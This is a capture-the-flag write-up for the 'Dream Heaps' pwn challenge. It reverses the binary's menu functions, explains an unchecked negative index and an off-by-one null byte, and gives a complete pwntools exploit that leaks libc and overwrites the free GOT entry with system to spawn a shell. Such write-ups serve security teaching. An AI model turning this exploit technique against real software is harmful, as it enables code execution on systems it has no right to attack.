Tags: pwn 

Rating:

# Dream Heap

This writeup goes out to my friend and the person who made this challenge the man the myth the legend himself, noopnoop.

```
$ file dream_heaps
dream_heaps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=9968ee0656a4b24cb6bf5ebc1f8f37d4ddd0078d, not stripped
$ pwn checksec dream_heaps
[*] '/Hackery/swamp/dream/dream_heaps'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./dream_heaps
Online dream catcher! Write dreams down and come back to them later!

What would you like to do?
1: Write dream
2: Read dream
3: Edit dream
4: Delete dream
5: Quit
>
```

So we are given a libc file `libc6.so`, and a `64` bit elf with no PIE or RELRO. The elf allows us to make dreams, read dreams, edit dreams, and delete dreams.

### Reversing

When we look at the main function in ghidra, we see that it is essentially just a menu for the four different options:

```

void main(void)

{
long in_FS_OFFSET;
undefined4 menuOption;
undefined8 canary;

canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
menuOption = 0;
puts("Online dream catcher! Write dreams down and come back to them later!\n");
puts("What would you like to do?");
puts("1: Write dream");
puts("2: Read dream");
puts("3: Edit dream");
puts("4: Delete dream");
printf("5: Quit\n> ");
__isoc99_scanf(&DAT_00400b60,&menuOption);
switch(menuOption) {
default:
puts("Not an option!\n");
break;
case 1:
new_dream();
break;
case 2:
read_dream();
break;
case 3:
edit_dream();
break;
case 4:
delete_dream();
break;
case 5:
/* WARNING: Subroutine does not return */
exit(0);

}
```
When we look at the Ghidra pseudocode for the `new_dream` function which allows us to write new dreams, we see this:

```
void new_dream(void)

{
long lVar1;
void *dreamPtr;
long in_FS_OFFSET;
int dreamLen;
long canary;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
dreamLen = 0;
puts("How long is your dream?");
__isoc99_scanf(&DAT_00400b60,&dreamLen);
dreamPtr = malloc((long)dreamLen);
puts("What are the contents of this dream?");
read(0,dreamPtr,(long)dreamLen);
*(void **)(HEAP_PTRS + (long)INDEX * 8) = dreamPtr;
*(int *)(SIZES + (long)INDEX * 4) = dreamLen;
INDEX = INDEX + 1;
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();

return;
}
```

So for making a new dream, it first prompts us for a size. It then mallocs a space of memory equal to the size we gave it. It then let's us scan in as many bytes as we specified with the size. It then will save the heap pointer and the size of the space in the `HEAP_PTRS` and `SIZES` bss arrays at the addresses `0x6020a0` and `0x6020e0` (double click on the pointers in the assembly to see where they map to the bss). The index in the array will be equal to the value of `INDEX` which is a bss integer stored at `0x60208c`. After this it will increment the value of `INDEX`. Next up we have the read function:

```
void read_dream(void)

{
long lVar1;
long in_FS_OFFSET;
int index;
long canary;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which dream would you like to read?");
index = 0;
__isoc99_scanf(&DAT_00400b60,&index);
if (INDEX < index) {
puts("Hmm you skipped a few nights...");

else {
printf("%s",*(undefined8 *)(HEAP_PTRS + (long)index * 8));

if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();

return;
}
```

Here we can see that it prompts us for an index to `HEAP_PTRS`, and first checks that it is not larger than `INDEX` to prevent us from reading something past it. It will then grab a pointer from `HEAP_PTRS` from the desired index, and print it. However there is a bug here. While it checks to make sure that we gave it an index smaller than or equal to `INDEX`, it doesn't check to see if we gave it an index smaller than one. This bug will allow us to read something from memory before the start of the `HEAP_PTRS` array in the bss. In addition to that since `INDEX` is incremented after it adds a new value, it will be equal to the next dream that is allocated. Since it just checks to make sure our index isn't greater than `INDEX` we can go past one spot for the end of the pointers in `HEAP_PTRS`. Next up we have the `edit_dream` function:

```
void edit_dream(void)

{
long lVar1;
long in_FS_OFFSET;
int index;
long canary;
void *ptr;
int size;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which dream would you like to change?");
index = 0;
__isoc99_scanf(&DAT_00400b60,&index);
if (INDEX < index) {
puts("You haven\'t had this dream yet...");

else {
ptr = *(void **)(HEAP_PTRS + (long)index * 8);
size = *(int *)(SIZES + (long)index * 4);
read(0,ptr,(long)size);
*(undefined *)((long)ptr + (long)size) = 0;

if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();

return;
}
```

So here it prompts us for an index, and has the same vulnerable index check from `read_dream`. If the index check passes it will take the pointer stored in `HEAP_PTRS` and the integer stored in `SIZES` at the index you specified and allow you to write that many bytes to the pointer. After that it will null terminate the buffer by setting `ptr + size` equal to `0x0`. However since arrays are zero index, it should be `ptr + (size - 1)` and thus it gives us a single null byte overflow. The last function we'll look at closely is the `delete_dream` function:

```
void delete_dream(void)

{
long lVar1;
long in_FS_OFFSET;
int index;
long canary;

lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Which dream would you like to delete?");
index = 0;
__isoc99_scanf(&DAT_00400b60,&index);
if (INDEX < index) {
puts("Nope, you can\'t delete the future.");

else {
free(*(void **)(HEAP_PTRS + (long)index * 8));
*(undefined8 *)(HEAP_PTRS + (long)index * 8) = 0;

if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();

return;
}
```

So just like the `read_dream` and `edit_dream` functions, it prompts us for an index and runs a vulnerable check on it. If it passes, it will free the pointer in `HEAP_PTRS` stored at that index and set it equal to 0 (so no use after free here). However it leaves the corresponding value in `SIZES` behind.

### Exploitation

So we have an index check bug with the read, edit, and free function. On top of that we have a single null byte overflow. We can use the index check bug in the read function to get a libc infoleak. After that we can use the index check bug with the edit function to get that got table overwrite. The intended solution was to use the single null byte overflow to cause heap consolidation, however this seems a bit easier.

For the libc infoleak, we will need a pointer to a pointer to a libc address. This is because with the dreams are stored in a 2D array. Luckily for us since there is no PIE we can just read an address from the got table (which is a table mapping various functions to their libc addresses). However first we will need an address to the got table, which we can find using gdb:

```
gef➤ p puts
$1 = {int (const char *)} 0x7ffff7a649c0 <_IO_puts>
gef➤ search-pattern 0x7ffff7a649c0
[+] Searching '0x7ffff7a649c0' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x602000-0x603000), permission=rw-
0x602020 - 0x602038 → "\xc0\x49\xa6\xf7\xff\x7f[...]"
gef➤ search-pattern 0x602020
[+] Searching '0x602020' in memory
[+] In '/Hackery/pod/modules/index/swampctf19_dreamheaps/dream_heaps'(0x400000-0x401000), permission=r-x
0x400538 - 0x400539 → "`"
```

Here we can see that the address `0x400538` will work for us. To leak the address we just need to read the dream at offset `-263021`. This is because `HEAP_PTRS` starts at `0x6020a0` and `0x6020a0 - 0x400538 = 0x201b68` and `0x201b68 / 8 = 263021`.

Now for the got overwrite, we can use a couple of things to exploit that. Firstly if we make enough dreams, they will overflow into the sizes. This is because there isn't a check for this, and `SIZES` starts at `0x602080` and `HEAP_PTRS` starts at `0x6020a0`. The difference between the two is `0x40` bytes, and since pointers are `0x8` bytes it will just be `8` pointers before we start overflowing them. In addition to that since ints are `4` bytes, the two will overlap nicely and end up being written behind the pointers. When we try making a lot of different dreams, we see that we can end up writing a pointer than can be reached by the `edit_dream` function:

```
gef➤ x/30g 0x6020a0
0x6020a0 <HEAP_PTRS>: 0x00000000013ea020 0x00000000013ea040
0x6020b0 <HEAP_PTRS+16>: 0x00000000013ea070 0x00000000013ea0b0
0x6020c0 <HEAP_PTRS+32>: 0x00000000013ea100 0x00000000013ea160
0x6020d0 <HEAP_PTRS+48>: 0x00000000013ea1d0 0x00000000013ea250
0x6020e0 <SIZES>: 0x00000000013ea2e0 0x00000000013ea380
0x6020f0 <SIZES+16>: 0x00000000013ea430 0x00000000013ea4f0
0x602100: 0x00000000013ea5c0 0x00000000013ea6a0
0x602110: 0x00000000013ea790 0x00000011013ea890
0x602120: 0x0000003300000022 0x0000005500000044
0x602130: 0x0000007700000066 0x0000009900000088
0x602140: 0x000000bb000000aa 0x000000dd000000cc
0x602150: 0x00000000013eaac0 0x00000000013eab50
0x602160: 0x00000000013eac00 0x00000000013eacc0
0x602170: 0x00000000013ead90 0x00000000013eae70
0x602180: 0x0000000000000000 0x0000000000000000
```

The pointers are addresses like 0x13eaac0, and the sizes are the integers like 0x99 and 0x88. At 0x602128 (which would be at index 17) we can see would be a nice place to write a pointer with the sizes. This is not only because we control it with sizes, but when we edit a dream it will also grab a size from the SIZES array that we will need to be at least 0x8. If we choose index 17, it will grab the integer from 0x602124 which we also control it with the sizes. So by choosing the offset 17 to edit, by making dreams with certain sizes we can control both the address that is written to and the size.

Also for the function that we will be overwriting the got address of will be `free` at `0x601fb0`. This is because it won't cause any real issues for us, and to get a shell we will just have to free a dream with the contents `/bin/sh`:

```
$ objdump -R dream_heaps | grep free
0000000000602018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
```

### Code

Putting it all together into our exploit, we get this. Also since our exploit relies on calling code from libc, it is dependent on which libc version you're using. If you're libc version is different then the one in the exploit, just swap out the file (check memory mappings in gdb to see which one you're using if this exploit doesn't work):

```
from pwn import *

target = process('./dream_heaps')
libc = ELF('libc-2.27.so') # If you have a different libc file, run it here

gdb.attach(target)

puts = 0x662f0
system = 0x3f630
offset = system - puts

def write(contents, size):
print target.recvuntil('> ')
target.sendline('1')
print target.recvuntil('dream?')
target.sendline(str(size))
print target.recvuntil('dream?')
target.send(contents)

def read(index):
print target.recvuntil('> ')
target.sendline('2')
print target.recvuntil('read?')
target.sendline(str(index))
leak = target.recvuntil("What")
leak = leak.replace("What", "")
leak = leak.replace("\x0a", "")
leak = leak + "\x00"*(8 - len(leak))
leak = u64(leak)
log.info("Leak is: " + hex(leak))
return leak

def edit(index, contents):
print target.recvuntil('> ')
target.sendline('3')
print target.recvuntil('change?')
target.sendline(str(index))
target.send(contents[:6])

def delete(index):
print target.recvuntil('> ')
target.sendline('4')
print target.recvuntil('delete?')
target.sendline(str(index))

# Get the libc infoleak via absuing index bug
puts = read(-263021)
libcBase = puts - libc.symbols['puts']

# Setup got table overwrite via an overflow
write('/bin/sh\x00', 0x10)
write('0'*10, 0x20)
write('0'*10, 0x30)
write('0'*10, 0x40)
write('0'*10, 0x50)
write('0'*10, 0x60)
write('0'*10, 0x70)
write('0'*10, 0x80)
write('0'*10, 0x90)
write('0'*10, 0xa0)
write('0'*10, 0xb0)
write('0'*10, 0xc0)
write('0'*10, 0xd0)
write('0'*10, 0xe0)
write('0'*10, 0xf0)
write('0'*10, 0x11)
write('0'*10, 0x22)
write('0'*10, 0x18)
write('0'*10, 0x602018)
write('0'*10, 00)

# Write libc address of system to got free address
edit(17, p64(libcBase + libc.symbols['system']))

# Free dream that points to `/bin/sh` to get a shell
delete(0)

target.interactive()
```

when we run it:

```
$ python exploit.py
[+] Starting local process './dream_heaps': pid 9062
[*] '/Hackery/pod/modules/index/swampctf19_dreamheaps/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] running in new terminal: /usr/bin/gdb -q "./dream_heaps" 9062 -x "/tmp/pwnjqPcIc.gdb"
[+] Waiting for debugger: Done
Online dream catcher! Write dreams down and come back to them later!

. . .

Which dream would you like to delete?
[*] Switching to interactive mode

$ w
22:17:41 up 1:47, 1 user, load average: 0.39, 0.45, 0.31
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 20:31 ?xdm? 3:50 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core dream_heaps exploit.py libc-2.27.so readme.md
```

Just like that, we captured the flag!

Original writeup (https://github.com/guyinatuxedo/ctf/tree/master/swampctf19/pwn/dream_heaps).